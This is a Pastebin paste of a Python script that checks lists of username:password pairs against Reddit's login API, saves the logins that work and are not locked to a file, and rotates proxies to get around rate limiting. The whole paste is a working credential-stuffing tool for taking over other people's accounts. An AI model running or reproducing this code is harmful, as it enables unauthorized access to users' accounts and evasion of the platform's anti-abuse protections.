Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import random
- import time
- import os
- import re
- class Reddit(object):
- def __init__(self, **kwargs):
- self.username = kwargs["username"]
- self.password = kwargs["password"]
- self.proxy = None
- self.ecx = 0
- self.session = requests.session()
- self.loginurl = "https://www.reddit.com/api/login/{0}".format(self.username)
- self.data = {
- "op":"login-main",
- "user":self.username,
- "passwd":self.password,
- "api_type":"json",
- }
- def login(self):
- try:
- if self.proxy:
- print ("Proxy : {0}".format(self.proxy))
- proxy = {"https":self.proxy}
- source = self.session.post(self.loginurl, data=self.data, proxies=proxy, timeout=5)
- else:
- source = self.session.post(self.loginurl, data=self.data)
- if source.status_code == 200:
- print ("Login account : {0}".format(self.username))
- html = self.session.get("https://www.reddit.com/user/{0}".format(self.username)).text
- if self.failed(html):
- print ("Gonna save this account : {0}".format(self.username))
- self.save()
- else:
- print ("Account is compromised : {0}".format(self.username))
- elif source.status_code == 429:
- print ("Proxy needed")
- if not self.ecx >= 10:
- self.countermeasure()
- else:
- print ("Login failed : {0}".format(self.username))
- return None
- except requests.exceptions.ConnectionError as connecterror:
- print ("Proxy error : {0}".format(connecterror))
- self.countermeasure()
- except Exception as error:
- print("Unexpected error : {0}".format(error))
- def countermeasure(self):
- self.proxy = self.randomProxy()
- self.ecx += 1
- print("Will wait 6 second for unblock.")
- time.sleep(6)
- self.login()
- def save(self):
- with open("checked.txt", "a") as validUser:
- validUser.write(self.username+":"+self.password+"\n")
- validUser.close()
- def failed(self, html):
- locked = 'Your account has been locked due to possible password compromise'
- if locked not in html:
- if re.findall("<title>(.+?)</title>", html)[0] == "Too Many Requests":
- print("Will wait 6 second for unblock.")
- time.sleep(6)
- self.login()
- else:
- find = ('"logged": "{0}"'.format(self.username))
- if re.findall(find, html):
- return True
- else:
- return False
- else:
- return False
- def randomProxy(self):
- with open("proxies.txt", "r") as proxies:
- return random.choice([x.strip() for x in proxies.readlines() if x])
- if __name__ == '__main__':
- if not os.path.exists("checked.txt"):
- open("checked.txt", "w").close()
- while True:
- accountSessions = []
- with open("accounts.txt", "r") as users:
- for user in [x.strip() for x in users.readlines() if x.strip()]:
- user = user.split(":")
- api = Reddit( username=user[0], password=user[1])
- api.login()
- time.sleep(86400)#A day
Add Comment
Please, Sign In to add comment